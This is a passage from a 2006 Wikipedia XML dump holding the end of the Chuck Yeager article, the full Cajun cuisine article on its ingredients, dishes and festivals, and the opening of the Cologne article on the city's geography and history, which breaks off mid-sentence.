Yeager, who never attended [[college]] and was often modest about his background, is considered to be one of the great pilots of all time. Despite his lack of higher education, he has been supportive of educational efforts in his home state.  [[Marshall University]] has named its highest academic scholarship, the [[Society of Yeager Scholars]], in his honor.  Additionally, [[Yeager Airport]] in [[Charleston, West Virginia]], is named after him. The [[Interstate Highway|Interstate 77]] bridge over the [[Kanawha River]] in Charleston is named for Yeager. He was the chairman of [[EAA]]'s [[Young Eagle Program]]. Yeager served on the presidential commission that investigated the explosion of the [[Space Shuttle Challenger|Space Shuttle ''Challenger'']] on [[STS-51-L]].

He is now retired from military test flight, after having continued in that role for three decades after his official retirement from the Air Force.

Yeager now resides in [[Grass Valley, California]], where he is a local hero.

==The ''Right Stuff''==

Yeager was a primary subject of [[Tom Wolfe]]'s book ''[[The Right Stuff]]'', and of the movie made from it, in which he is played by [[Sam Shepard]].  He has a short cameo in a scene as bartender who&amp;mdash;as an in-joke because [[NASA]] didn't recruit him as an astronaut because he lacked a college education&amp;mdash;wants to serve the NASA recruiters some [[Scotch whisky|Scotch]] and is puzzled when they only want a [[Coca-Cola|Coke]]. He was the prototype flier with the &quot;right stuff&quot;, although the modest Yeager denied any such attribute, saying it was just a combination of &quot;luck&quot; and &quot;knowing the airplane&quot; (in his autobiography, Yeager states that he does believe in the concept of &quot;the right stuff&quot;). Romantic as his character appears to be, his portrayal in the movie is somewhat skewed; Yeager was actually partially responsible for the design of the X-1. In addition, he did not take the modified [[F-104 Starfighter]] without authorization, as seen in the motion picture; he simply did not have authorization to attempt to break the Russian record. He did, however, receive 3rd-degree burns on his head and hands from the rocket exhaust of the [[ejector seat]].

On [[February 26]], [[1945]], Yeager married Glennis Dickhouse (died [[1990]]). They had four children. In [[August]] [[2003]], nearly 13 years after her death, he married sometime-actress Victoria Scott D'Angelo, 36 years his junior. Three of his children are currently suing for control of his holdings, claiming that D'Angelo married Yeager for his fortune. Yeager contends they simply want more money. 

There is a disputed claim by German pilot [[Hans Guido Mutke]] to be the first person to break the [[sound barrier]], on [[April 9]], [[1945]], in a [[Messerschmitt]] [[Me 262]]. Postwar testing, however, determined that the Me-262 would go out of control and break apart well short of Mach 1. As well, many contend that American pilot [[George Welch]] broke the sound barrier while diving an [[XP-86 Sabre]] two weeks before Yeager and again just 30 minutes before. In a period documentary, the USAF said that Yeager and the X-1 were the first to break the sound barrier &quot;in level flight&quot;. This leaves the door open for claims of breaking the sound barrier in a dive before Yeager broke it in the X-1.

{{multi-video start}}
{{multi-video item|filename=Yeager supersonic flight 1947.ogg|title= First supersonic flight|description= [[Chuck Yeager]] broke the sound barrier on [[October 14]], [[1947]] in the [[Bell X-1]].|format=[[Theora]]}}
{{multi-video end}}

== Further reading ==
* Chuck Yeager, Leo Janos: ''Yeager: An Autobiography''. (Bantam Books, 1986) (ISBN 0-553-256742)
* Chuck Yeager, Charles Leerhsen: ''Press on! Further Adventures in the Good Life''. (Bantam Doubleday Dell Pub, 1988) (ISBN 0-553-053337)
* [[Tom Wolfe]]: ''[[The Right Stuff]]''. (Bantam Books, 1980) (ISBN 0-553-138286)
* Richard P. Hallion: &quot;Designers and Test Pilots&quot;. (ISBN 0809433168)

== External links ==
* [http://www.generalchuckyeager.com Official Website]
* [http://www.chuckyeager.org Fan website and original Yeager Website]
* [http://www.hq.nasa.gov/office/pao/History/x1/chuck.html  Charles E. (Chuck) Yeager on the NASA web site.]
* [http://www.edwards.af.mil/history/docs_html/people/yeager_biography.html Edwards AFB Bio on BG Yeager]
* [http://www.check-six.com/Crash_Sites/NF-104A_crash_site.htm The Crash of Yeager's NF-104]

[[Category:1923 births|Yeager, Chuck]]
[[Category:American World War II flying aces|Yeager, Chuck]]
[[Category:American World War II veterans|Yeager, Chuck]]
[[Category:American aviators|Yeager, Charles]]
[[Category:Autodidacts|Yeager, Chuck]]
[[Category:Congressional Gold Medal recipients|Yeager, Chuck]]
[[Category:Living people|Yeager, Chuck]]
[[Category:People from West Virginia|Yeager, Chuck]]
[[Category:Presidential Medal of Freedom recipients|Yeager, Chuck]]
[[Category:Recipients of US Distinguished Flying Cross|Yeager, Chuck]]
[[Category:Recipients of the Legion of Merit|Yeager, Chuck]]
[[Category:Recipients of the Purple Heart medal|Yeager, Chuck]]
[[Category:Test pilots|Yeager, Charles]]
[[Category:United States Air Force generals|Yeager, Chuck]]

[[ca:Chuck Yeager]]
[[da:Charles Elwood Yeager]]
[[de:Chuck Yeager]]
[[fr:Charles Elwood Yeager]]
[[nl:Charles Elwood Yeager]]
[[ja:チャック・イェーガー]]
[[pl:Chuck Yeager]]
[[pt:Charles Elwood Yeager]]
[[ro:Chuck Yeager]]
[[sv:Chuck Yeager]]
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[[zh:查克·葉格]]</text>
    </revision>
  </page>
  <page>
    <title>Cajun cuisine</title>
    <id>6186</id>
    <revision>
      <id>40339017</id>
      <timestamp>2006-02-19T22:38:45Z</timestamp>
      <contributor>
        <username>Jbenton</username>
        <id>404284</id>
      </contributor>
      <comment>/* Misconceptions */</comment>
      <text xml:space="preserve">'''Cajun cuisine''' originates from the French-speaking [[Acadian]] or &quot;[[Cajun]]&quot; immigrants in [[Louisiana]], [[United States|USA]].  It is what could be called a rustic [[cuisine]] &amp;mdash; [[local food|locally available ingredients]] predominate, and preparation is simple.  An authentic Cajun meal is usually a three-pot affair, with one pot dedicated to the main dish, one dedicated to steamed rice, skillet cornbread, or some other grain dish, and the third containing whatever vegetable is plentiful or available.

The aromatic vegetables bell-pepper, onion, and celery, called by some chefs the [[Holy trinity (cuisine)|holy trinity]] of Cajun cuisine, are ubiquitous.  Characteristic seasonings include [[parsley]], [[bay leaf]], &quot;onion tops&quot; or [[scallion]]s, and [[cayenne pepper]] (the dried and powdered form or as one of the locally made pepper sauces such as [[Tabasco sauce|Tabasco]], but rarely fresh!)  The overall feel of the cuisine is more Mediterranean than North American.

Cajun cuisine developed out of necessity.  The Acadian refugees, farmers rendered destitute by the British expulsion, had to learn to live off the land and adapted their French rustic cuisine to local ingredients such as rice, crawfish, and sugar cane.

In addition to the obvious Canadian and French peasant influences, Cajun cuisine was influenced by African and Native American food cultures.  For example, '[[gumbo]]', the name of a family of stews prepared in south Louisiana is a word brought to the region from western [[Africa]]. In parts of Africa as well as in standard French and in Caribbean creole languages &quot;gumbo&quot; means [[okra]], which is a principal ingredient in some of the stews called &quot;gumbo&quot;.  A filé gumbo, on the other hand, contains no okra, is a dark [[roux]] based soup or stew, and is seasoned at the table with ground [[sassafras]] leaves, a practice borrowed from the [[Choctaw]] Indians.

== Misconceptions ==
&lt;div style=&quot;float:right; width:25%; margin: 1em; border: 1px solid #8888aa;&quot;&gt;
&amp;nbsp;Traditional Cajun food...
* is not fancy.
* is not extremely hot from pepper.
* does not use wine as part of the cooking.
* does not require expensive or exotic ingredients.
* is not available from a box.
* is often simple and brown.
* does not contain cream or pasta as an ingredient.
* is not often seen on restaurant menus.

&lt;/div&gt;
There is a common misconception outside of south Louisiana that Cajun food is hot and spicy.  An authentic Cajun dish will usually have a bit of a &quot;kick&quot; but will not be eye-wateringly hot.  The Cajun cook does not seek to overpower the dish with simple heat &amp;mdash; this is done by the diner at the table if they so wish.  Rather, a balance of different pepper flavors is strived for, usually involving a mixture of black, white and cayenne pepper in various ratios.  The sensation of these three peppers along the palate is what makes Cajun seasoning unique.

Cajun dishes prepared outside of Louisiana, are often hotter than their Louisiana counterparts, and lack the flavor of the original dishes.  Even andouille sausage, mild and smoky in Louisiana, gets the pepper treatment elsewhere.  This is partially a result of the &quot;Cajun&quot; foods craze of the [[1980s]], when Cajun-style seasoning was popularized by chef [[Paul Prudhomme]]'s creation of the very spicy dish called Blackened Redfish at his New Orleans restaurant &quot;K-Paul's&quot;. It is also a result of recent &quot;extreme&quot; food fads, where many items are hotter than the originals.

Outside of southern Louisiana, foods prepared using Cajun-style seasoning are called Cajun, including some decidedly non-Cajun dishes such as red beans and rice, and blackened redfish.  Sometimes the label is applied incorrectly to any dish including traditional Cajun ingredients such as cayenne pepper, or merely as a slogan, as in [[McDonalds]]'s &quot;Spicy Cajun McChicken&quot;.

Cajun cuisine is sometimes confused with [[Creole cuisine]], and many outside of Louisiana don't make the distinction.  This matter is complicated by the sharing of several dishes between the cuisines, including [[gumbo]], gumbo z'herbes (a vegetarian gumbo), seafood à l'[[etouffee|étouffée]], and jambalaya, although New Orleans jambalaya and gumbo are prepared differently than its Cajun counterpart.

Further complicating this is that the term Creole is used to designate several somewhat distinct New Orleans food cultures.  So-called 'haute-creole' cuisine was influenced in the past few decades by Cajun food as Creole restaurants such as Commander's Palace and K-Paul's created a distinct &quot;Cajun-Creole fusion&quot; cuisine combining Cajun flavors with Creole ingredients and preparation.  Dishes rooted primarily in the New Orleans metropolitan area such as po'-boys, barbecued shrimp, or red beans and rice are in general Creole, not Cajun, as are most dishes involving a cream sauce or the French mother sauces.

==Cajun methods of preparation==
Some of these are traditional, and some are recent innovations.  Deep-frying of turkey or oven-roasted [[turducken]] is included because these items have entered Acadian folkways in some limited areas.  Blackening of fish or chicken and barbecuing of shrimp in the shell is excluded because it is not, in general, prepared in Acadian homes or Acadian restaurants.

*Boiling, as in boiling of crawfish, shrimp, or other crustacean, in seasoned liquid.
*Grilling
*Pan-frying
*Deep frying of whole turkeys outdoors in a large pot. The same pot and burner rig is also used for crawfish or shrimp boils. '''Note:''' [[Underwriters Laboratories]] have warned that this technique can be dangerous. Some safety precautions can be found at [http://www.ul.com/consumers/turkeys.html].
*Stewing
*Fricassee
*[[etouffee|Étouffée]] (cooking a vegetable or meat in its own juices, similar to [[braising]] or what in New Orleans is called &quot;smothering&quot;)
*Smoking
*Barbecueing - Very similar to &quot;slow and low&quot; Texas [[barbecue]] traditions, but with Cajun seasoning
*Injecting - Using a large syringe type setup to place seasoning deep inside large cuts of meat.

==Cajun or Cajun-influenced chefs==
* [[Justin Wilson (chef)|Justin Wilson]]
* [[Paul Prudhomme]]
* [[John Folse]]
* [[Jamie Shannon]]
* [[Emeril Lagasse]]
* [[Frank Brigtsen]]
* [[Alex Patout]]

==Cajun ingredients==
The following is a partial list of ingredients used in Cajun cuisine and some of the [[Staple food|staple ingredients]] of the Acadian food culture.

===Grains===
*Long, medium, or short grain white [[Rice]]
**Popcorn rice
*Corn ([[Maize]])
*[[Wheat]] (for baking bread)

===Fruits and vegetables===
*[[Onion]]
*Onion Tops (better known as [[scallion]]s)
*Mirlitons (also called vegetable pears or [[chayote]])
*[[Blackberry|Blackberries]]
*[[Fig]]s
*[[Celery]]
*[[Cucumbers]]
*[[Sweet potato]]es
*[[Bell pepper]]s
*[[Tomato]]es
*[[Satsuma (fruit)|Satsuma Oranges]]
*[[Pecan]]s
*[[Lemon]]s
*[[Cayenne pepper|Cayenne]] Pepper
*[[Muscadine]]s
*[[strawberry|Strawberries]] (especially around [[Ponchatoula, Louisiana|Ponchatoula]])

===Meat and seafood===
Acadian folkways include many ways of preserving meat, some of which are waning due to the availability of refrigeration and mass-produced meat at the grocer.  Smoking of meats remains a fairly common practice, but once-common preparations such as turkey or duck confit (preserved in poultry fat, with spices) are now seen even by Acadians as quaint rarities.

The traditional pig-slaughtering party, or [http://www.cajuncountry.org/boucherie/  Boucherie], where Cajuns would gather to socialize, play music, dance, and preserve meat does still occur in some rural communities, especially [[St. Martinville]] but the exploitation of every last bit of meat, including organs and variety cuts in sausages such as '[[boudin]]' and the inaccessible bits in the head as [[head cheese]] is no longer a necessity.

Game (and [[hunting]]) are still uniformly popular in Acadiana.

The recent increase of [[catfish]] farming in the Mississippi Delta has brought about an increase in its usage in Cajun cuisine in the place of the more traditional wild-caught trout and redfish.

====Seafood====
*Freshwater &lt;!--Please add more--&gt;
**[[Catfish]]
**[[Perch]]
**[[Bass (fish)|Bass]]
**Sac-au-Lait/white perch or crappie
*Saltwater or brackish water species
**[[Trout]]
**[[Redfish]]
**Pompano
**[[Drumfish]]
**[[Flounder]]
**[[Grouper]]
**[[Perch]] - Many varieties        [[Image:DSCN0141.JPG|thumb|Louisiana Style Crawfish Boil]]
**[[Snapper]] - Many varieties
*Shellfish                                                                                                        
**[[Crayfish|Crawfish]]- either wild swamp or farm-raised                             
**[[Shrimp]]
**[[Oysters]]
**Blue [[Crab]]
Also included in the seafood mix are some so-called &quot;trash fish&quot; that would not sell at market because of their high bone to meat ratio or required complicated cooking methods. These were brought home by fishermen to feed the family. Examples are garfish, gaspergou, croaker, and bream.

====Poultry====
*Farm Raised
**[[Turkey (bird)|Turkey]]
***Turkey confit
**[[Turducken]] (deboned turkey stuffed with deboned duck stuffed with deboned chicken)
**[[Chicken]]
***Guinea Hen
*Game birds
**[[Dove]]
**[[Goose]]
**[[Quail]]
**[[Duck]]
***Duck confit

====Pork====
*Pork Sausages and products
**[[Andouille]] - a spicy dry smoked sausage, characterized by a coarse-ground texture
**[[Boudin]] - a fresh sausage made with green onions, pork, and rice. Pig's blood is sometimes added to produce &quot;boudin noir&quot;.
**Fresh pork sausage - not smoked or cured, but highly seasoned. Mostly used in gumbos. The sausage itself does not include rice, separating it from boudin.
**Chaurice, similar to the Spanish [[chorizo]]
**Tasso - a highly seasoned, smoked pork shoulder
**[[Head cheese]]
**Gratons - hog cracklings or pork rinds; fried, seasoned pork fat &amp; skin, sometimes with small bits of meat attached.  Similar to the Spanish chicharrones.
**Chaudin - a pig's stomach, stuffed with spiced pork &amp; smoked.  Also known as ponce.
Pork Hocks
Salt Pork

====Beef and dairy====
Though parts of Acadiana are well suited to cattle or dairy farming, beef is not often used in a pre-processed or uniquely Cajun form. It is usually prepared fairly simply as chops, stews, or steaks, taking a cue from Texas to the west. Ground beef is used as is traditional throughout the southern US, although seasoned differently.

Dairy farming is not as prevalent as in the past, but there are still some farms in the business. There are no unique dairy items prepared in Cajun cuisine. Traditional southern US and New Orleans influenced desserts are common.
====Other====
*[[Turtle]] (farm-raised)
*[[Alligator]]
**[[Rabbit]]
**[[Nutria]]
**Frogs (froglegs)

===Seasonings===
&quot;Cajun spice&quot; blends such as [[Tony Chachere's]] are sometimes used in Acadian  kitchens, but they tend to be avoided because they do not suit the cook's style, and because Cajun-style seasoning is simply achieved from scratch, even by taste. Seafood boils such as [[Zatarain's]] Shrimp and Crab Boil are, on the other hand, in common use.  Whole peppers are almost never used in authentic Cajun dishes--ground Cayenne, paprika, and pepper sauces predominate.

*Flat leaf [[Parsley]]
*[[Celery]]
*[[Bay leaf]]
*[[Cayenne pepper]]
*[[Pepper sauce]]
*[[Black pepper]]
*[[Seafood boil]]
*Thyme
*Bell (green or red) peppers
*Sassafras leaves (dried &amp; ground into the spice known as file used to thicken &amp; season gumbo)

===Other===
*[[Sugar cane]]
**Cane syrup, brown sugar, &amp; molasses
*Dark [[roux]]:  The Acadians inherited the roux from the French.  However, unlike the French, it is made with oil or bacon fat and more lately olive oil, and not butter, and it is used as a flavoring, especially in gumbo and etoufée.  Preparation of a dark roux is probably the most involved or complicated procedure in Cajun cuisine, involving heating fat and flour very carefully, constantly stirring for about 15-45 minutes (depending on the color of the desired product), until the mixture has darkened in color and developed a nutty flavor.  A burnt roux renders a dish unpalatable.
*[[Stock (food)|Stock]]s:  Acadian stocks are more heavily seasoned than Continental counterparts, and the shellfish stock sometimes made with shrimp and crawfish heads is unique to Cajun cuisine.
**Fish stock and [[Courtboullion]]
**Shellfish stock
**Chicken stock

==Characteristic Cajun dishes==
*[[Wikipedia Cookbook/Gumbo|Gumbo]]
*[[Potato Salad]], almost always served with gumbo, and usually in it (generally plain, i.e. egg, potato, and mayo solely)
*Gumbo z'Herbes
*Cush-cush (Cajun corn mush)
*Boiled crawfish (boiled with cayenne and salt, not sprinkled on after)
*Maque Choux (sauteed corn based dish, sometimes with crawfish or chicken)
*Boudin (Rice and pork sausage)
*Tasso (spicy smoked pork used primarily for seasoning)
*Catfish Courtboullion (or [[Redfish]])
*Crawfish etoufée
*Crawfish bisque (crawfish stew with small quenelles of crawfish stuffed into the head section of the crawfish shell)
*Hogs Head Cheese
*Shrimp or Alligator Sauce Piquante
*Cochon de Lait (roast suckling pig, similar to [[Barbecue]])
*[[Jambalaya]]
*Skillet cornbread, especially when made with cracklings/gratons
*Crawfish pie
*Andouille sausage
*[[Dirty rice]], or &quot;rice dressing&quot;
*Rice and Gravy - usually a brown gravy based on pan drippings, which are deglazed and simmered with extra seasonings and served over steamed or boiled rice.
*Fried Frog Legs
*Beignets &amp; croquinolles (fried doughnuts)
*Pralines, most often made with pecans
*Tarte a la Bouillie (sweet-dough custard tarts)
*Seafood stuffed mirliton


===Non-Cajun dishes===
This is a listing of dishes sometimes mistakenly called or thought to be Cajun but having origins elsewhere, usually in [[New Orleans, Louisiana|New Orleans]] or in northern Louisiana, and sometimes are relatively unadopted in Acadiana:
*[[Deep fried turkey]]
*Oysters Rockefeller or Casino
*[[Calas]]
*[[Red beans and rice]]
*Chicken and Dumplings
*[[Bread pudding]]
*[[Bananas Foster]]
*[[Popeye's Fried Chicken]] (a US chain originally based in New Orleans)
*Blackened anything
*Cajun fries
*Spicy Cajun McChicken
*Cajun sausage (other than those listed above)

== See also ==
* [[cooking]]
* [[Louisiana Creole cuisine]]
* [[Acadian]]
* [[Cuisine of the United States]]

==References==
*''Chef [[Paul Prudhomme]]'s Louisiana Kitchen'' (ISBN 0688028470), from the main popularizer of Cajun flavors, this is the definitive &quot;high&quot; Cajun cookbook.  Most of the recipes within are very traditional, with a world class chef's added touch.
*''Chef [[John Folse]]'s Plantation Celebrations'' (ISBN 0962515221), a well-regarded cookbook from one of the great Cajun chefs.
* ''Louisiana Real and Rustic'' (ISBN 0688127215) by [[Emeril Lagasse]] with [[Marcelle Bienvenu]].  Despite Emeril's association with the Cajun/Creole fusion movement, this collaboration with [[Times-Picayune]] food writer Bienvenu is a bona fide and authentic look at the food folkways of Louisiana, with much focus on rural [[Acadiana]]. Marcelle Bienvenue is a native of [[St. Martinville, LA]], in [[St. Martin Parish]].
*''Cajun Cuisine: Authentic Cajun Recipes from Louisiana's Bayou Country'' (ISBN 0935619003) by [[W. Thomas Angers]].

==External links==
* [http://www.realcajunrecipes.com RealCajunRecipes.com], a site created by three Cajuns born and raised in Acadiana. It is devoted to building the largest and most accurate collection of Cajun recipes handed down from one Cajun cook to another. It includes a [http://www.realcajunrecipes.com/photoalbum/ photo album] and a [http://blog.realcajunrecipes.com/ Cajun blog].
*[http://www.gumbopages.com/recipe-page.html The Creole and Cajun Recipe Page], written by a native New Orleanian, includes some Cajun recipes and a few pages explaining the difference between Cajun and Creole cuisine and between Cajun cuisine and what unscrupulous restauranteurs try pass off as Cajun.

===Food festivals===
Seasonal food festivals, centering around the ingredients and game that are part of South Louisiana cooking, are a huge part of South Louisiana culinary culture. Some of the more popular ones are:
*[http://www.cajuncountry.org/boucherie/ La Grande Boucherie des Cajuns] - St. Martinville, LA
*[http://www.rayne.org/frog_fest.html Rayne Frog Festival] - Rayne, Louisiana
*[http://www.bbcrawfest.com/ Breaux Bridge Crawfish Festival] - Breaux Bridge, Louisiana
*[http://www.festivalofthebonfires.org/ Festival of the Bonfires]  - Lutcher, Louisiana
*[http://rayne.org/ Frog Festival] - Rayne, Louisiana
*[http://www.jambalayafestival.org/ Jambalaya Festival] - Gonzales, Louisiana
*[http://www.duckfestival.org Gueydan Duck Festival] - Gueydan, Louisiana
*[http://www.shrimp-petrofest.org/ Louisiana Shrimp &amp; Petroleum Festival] - Morgan City, Louisiana
*[http://www.hisugar.org/ Louisiana Sugar Cane Festival] - New Iberia, Louisiana
*[http://www.lastrawberryfestival.com/ Pontchatoula Strawberry Festival] - Pontchatoula, Louisiana
*[http://www.cochondelait.com/festival/ Cochon de Lait Festival] - Mansura, Louisiana

[[Category:Louisiana cuisine]]
[[Category:Acadian and Cajun]]

[[de:Cajun-Food]]</text>
    </revision>
  </page>
  <page>
    <title>Cologne</title>
    <id>6187</id>
    <revision>
      <id>42045855</id>
      <timestamp>2006-03-03T12:35:55Z</timestamp>
      <contributor>
        <username>Gamgee</username>
        <id>678763</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
[[Image:Koeln_Hohenzollernbruecke.jpg|thumb|right|310px|[[Cologne Cathedral]] with Hohenzollern Bridge]]
{{Infobox Town DE|name = Cologne|
name_local = Köln|
image_coa = cologne emblem.png|50px|
state = [[North Rhine-Westphalia]]|
regbzk = [[Cologne (region)|Cologne]]|
district = [[List of German urban districts|urban district]]|
population = 975,907|
population_ref = [http://www.lds.nrw.de/statistik/datenangebot/Regionen/amtlichebevoelkerungszahlen/rp3_juni05.html source]|
population_as_of = 2005|pop_dens = 2,409|
metropolitan = 2.788.318|
area = 405.15|
elevation = 37-118|
lat_deg = 50|lat_min = 57|lat_hem = N|
lon_deg = 6|lon_min = 58|lon_hem = E|
postal_code = 50441-51149|
area_code = 0221|
licence = K|
mayor = [[Fritz Schramma]] ([[CDU]])|
website = [http://www.stadt-koeln.de/ stadt-koeln.de]|
image_map = Lage der Stadt Köln in Deutschland.png|
}}
{| style=&quot;float:right;clear:right&quot;
|[[Image:CologneSkylineAtNight.jpg|thumb|188px|Cologne Skyline at Night]]
|-
|[[Image:Cologne_Cathedral_Wiki.jpg|thumb|188px|Cologne Cathedral (at Sunset)]]
|-
|[[Image:Cologne_cathedral_at_dusk.jpg|thumb|188px|Cologne Cathedral (Front View)]]
|-
|[[Image:Cologne old church.jpg|thumb|188px|Great St. Martin Church]]
|-
|[[Image:Koeln 1945.jpg|thumb|188px|Devastation of Cologne in 1945]]
|-
|[[Image:Kölnturm.JPG|thumb|188px|The Kölnturm (150 m)]]
|}

'''Cologne''' ([[German language|German]]: {{Audio|De-Köln.ogg|''Köln''}} [kœln]; [[Kölsch language|Kölsch]]: ''Kölle'') is [[Germany]]'s fourth-largest city after [[Berlin]], [[Hamburg]] and [[Munich]] and is the largest city both in the German Federal State of [[North Rhine-Westphalia]] and within the [[Rhine-Ruhr|Rhine-Ruhr Metropolitan Area]], one of the [[largest European metropolitan areas]] with over 12 million inhabitants. 

Cologne lies at the River [[Rhine]] and the city's world famous [[Cologne Cathedral]] (Kölner Dom) is seat to a [[Roman Catholic Church|Roman Catholic]] [[Archdiocese]] and just as important to the city as its specially brewed [[Kölsch (beer)|Kölsch]] beer. [[Cologne University]] is one of [[Europe]]'s oldest universities and internationally renowned for its economics department. 

Cologne is the economic and cultural capital of the [[Rhineland]] and has one of [[Europe]]'s most vibrant and thriving art scenes. Cologne counts over 30 museums and hundreds of galleries. Exhibitions range from local [[Ancient Roman]] archeological findings to contemporary graphics and sculpture. The city's [[Cologne Trade Fair|Trade Fair Grounds]] are host to a number of trade shows such as the [[Art Cologne|Art Cologne Fair]], the International Furniture Fair (IMM) and the [[Photokina]]. Cologne is also well known for its celebration of [[Carnival|Cologne Carnival]] and the [[Cologne Gay Pride]] events.

In [[2005]] Cologne hosted the 20th and one of the largest-ever meetings of the [[Catholic]] [[World Youth Day 2005|World Youth Day]] with [[Pope Benedict XVI]] and over a million participants.


==Geography==
The city covers an area of [[1 E8 m²|405.15]] [[square kilometre|km²]] (about 156 miles²), on both sides of the River [[Rhine]]. Cologne lies between 37.5 and 118.04 [[metre|m]] above sea level. The city of [[Bonn]] lies 30 km to the south, and [[Düsseldorf]] lies 40 km to the north.

==The Coat of Arms of Cologne==

The three crowns symbolise the [[Magi]] or [[Three Wise Men|Three Kings]] whose bones are said to be kept in a golden sarcophagus in [[Cologne Cathedral]] (see [[Shrine of the Three Kings at Cologne Cathedral]]). In [[1164]], Cologne's archbishop [[Rainald of Dassel]] brought the [[Relic|relics]] to the city, making it a major pilgrimage destination. This led to the design of the current cathedral as the predecessor was considered too small to accommodate the pilgrims.

The eleven flames are a reminder of the Britannic princess [[St. Ursula]] and her legendary 11,000 virgin companions who were supposedly martyred by [[Attila the Hun]] at Cologne for their [[Christian]] faith in [[383]] A.D. In reality, the entourage of St. Ursula and the number of victims was probably significantly smaller.

==History==
''Main article: [[History of Cologne]]''

===Roman Cologne===

Cologne became a Roman city in [[50]] A.D. In [[310]] [[Constantine I (emperor)|Constantine]] built a [[bridge]] over the Rhine at Cologne. 

Cologne elected a [[bishop]] as early as [[313]], and in [[785]], became the seat of an [[archbishop]]. 

===Middle Ages===
During the time of the [[Holy Roman Empire]] the [[Archbishop of Cologne]] was one of the seven [[Prince-elector|Electors]]. He ruled a large area as a secular lord in the [[Middle Ages]], but in [[1288]] he was defeated by the Cologne citizens and forced to move to [[Bonn]]. Cologne's location at the intersection of the river [[Rhine]] with one of the major trade routes between East and West was the basis of Cologne's growth. Cologne was a member of the [[Hanseatic League]], but became a [[Imperial_Free_City|Imperial Free City]] officially in [[1475]]. Interestingly the archbishop nevertheless preserved the right of capital punishment. Thus, the municipal council (though in strict political opposition towards the archbishop) depended upon him in all matters concerning criminal jurisdiction. This included torture, which sentence was only allowed to be handed down by the episcopal judge, the so-called &quot;Greve&quot;. This legal situation lasted until the French conquest of Cologne. As a free city Cologne was an [[estate]] within the Holy Roman Empire and as such had the right (and obligation) of maintaining its own military force. Wearing a red uniform these troops were known as the &quot;Rote Funken&quot; (red sparks). These soldiers were part of the Army of the [[Holy Roman Empire]] (&quot;Reichskontingent&quot;) and fought in the wars of the [[17th century|17th]] and [[18th century|18th]] century including the wars against revolutionary France, where the small force almost completely perished in combat. The tradition of these troops is preserved as a military persiflage by Cologne's most outstanding carnival society, the &quot;[http://www.rote-funken.de/ Rote Funken]&quot;.

The free city of Cologne must not be confused with the Archbishops of Cologne. The latter were an estate of their own within the body of the [[Holy Roman Empire]]. Since the second half of the 16th century the archbishops were taken from the [[Bavaria]]n dynasty [[Wittelsbach]]. Due to the free status of Cologne, the archbishops usually were not allowed to enter the town. Thus they took residence in [[Bonn]] and later on in [[Brühl]] on Rhine. As members of an influential and powerful family and supported by their outstanding status as [[electors]] the archbishops of Cologne repeatedly challenged and threatened the free status of Cologne during the 17th and 18th century, resulting in complicated affairs, which were handled by diplomatic means and propaganda as well as by the supreme courts of the Holy Roman Empire. 


=== 19th and 20th century === 
Cologne lost its status as a [[free city]] during the French period. According to the Peace [[Treaty of Lunéville]] ([[1801]]) all the territories of the [[Holy Roman Empire]] on the left bank of the Rhine were officially incorporated into the [[French Republic]] (which already had occupied Cologne in [[1798]]). Thus, this region later became part of [[Napoleon Bonaparte|Napoleon]]'s Empire. Cologne was part of the French [[Département]] [[Roer]] (named after the River Roer, German: Rur) with [[Aachen]] (Aix-la-Chapelle) as its capital. The French modernised public life by introducing the [[Code Napoleon]] as civil code and removing the old elites from power, to cite two examples. The [[Code Napoleon]] was in use in the German territories on the left bank of the Rhine until the year [[1900]], when for the first time the [[German Empire]] passed a nationwide unique civil code (&quot;[[Bürgerliches Gesetzbuch]]&quot;). In [[1815]], at the [[Congress of Vienna]], Cologne was made part of the kingdom of [[Prussia]]. 

The permanent tensions between the catholic [[Rhineland]] and the overwhelmingly protestant Prussian state repeatedly escalated with Cologne being in the focus of the conflict. In 1837 the archbishop of Cologne [[Clemens August Droste zu Vischering]] was arrested and imprisoned for two years after a  dispute over the legal status of marriages between Protestants and Catholics (&quot;Mischehenstreit&quot;). In 1874 during the [[Kulturkampf]] archbishop cardinal [[Paul Melchers]] was arrested and imprisoned. He fled to the Netherlands and was searched for like an ordinary criminal by a warrant of apprehension. These conflicts alienated the catholic population from Berlin and contributed to a deeply felt anti-Prussian resentment, that was still significant after World War II, when the former mayor of Cologne [[Konrad Adenauer]] became the first West German chancellor.  

During the [[19th century|nineteenth]] and [[20th century|twentieth]] centuries, Cologne incorporated numerous surrounding towns, and by the time of [[World War I]] had already grown to 600,000 inhabitants. Industrialization changed the city and spurred its growth. Especially booming branches were vehicle construction and engine building. Heavy industry was less ubiquitous as opposed to the [[ruhr_area|Ruhr Area]]. The [[Cologne Cathedral|cathedral]], started in [[1248]] but abandoned around [[1560]], was eventually finished in [[1880]] not only as a religious building but also as a German national monument celebrating the newly founded [[German empire]] as well as the continuity of the German nation since the middle ages. Sometimes urban growth happened very much at the expense of the town's historic heritage with many buildings being broken down (e.g. the city walls or the surroundings of the cathedral) or replaced by contemporary constructions. On the other side Cologne was turned into a heavily armed fortress (opposing the French and Belgian fortresses of [[Verdun]] and [[Li%C3%A8ge_%28city%29|Liège]]) with two fortified belts surrounding the town, the [http://www.altearmee.de/zwischenwerk/index.htm relics of which] can be seen until today. The military demands of what finally turned out to be Germany's largest fortress meant a huge obstacle to urban development, as forts, bunkers and dugouts with a vast and plain shooting field before them completely encircled the town and prevented any expansion beyond the fortified line, resulting in a very dense built-up area within town itself.[http://www.tipota.de/afk/Plan%20Neupreussisch%20Koeln.jpg] 

After WWI, during which several minor air raids had targeted the city, Cologne was occupied by British Forces under the terms of the armistice and the subsequent [[Peace Treaty of Versailles|Versailles Peace Treaty]]. The occupation lasted until [[1926]]. In contrast to the harsh measures of French occupation troops in the Rhineland the British acted much more tactfully towards the local population. The mayor of Cologne (the future West German chancellor) [[Konrad Adenauer]] paid them respect for their political significance, as the British withstood the French ambitions for a permanent Allied occupation of the Rhineland. In [[1919]] the [[University of Cologne]] (which had been closed by the French in 1798) was refounded. It was meant as a substitute for the German [[University of Strasbourg]] which had become French in 1918/19. The era of the [[Weimar_Republic|Weimar Republic]] ([[1919]] - [[1933]]) rendered very prolific for Cologne. Many improvements were made under the guidance of mayor Konrad Adenauer, especially as far as public governance, housing, planning and social affairs are concerned. Large public parks were created, in particular the two &quot;Grüngürtel&quot; (green belts),  which were planned on the areas of the former fortifications. They had been dismantled according to the de-militarisation of the [[Rhineland]] under the terms of the peace treaty, albeit this project was unfinished until [[1933]].  Public housing was executed in a way that it became exemplary all over [[Germany]]. As Cologne competed for hosting the Olympics a modern stadium was erected in Müngerdorf. By the end of the British occupation German civil aviation was readmitted over Cologne and the airport of 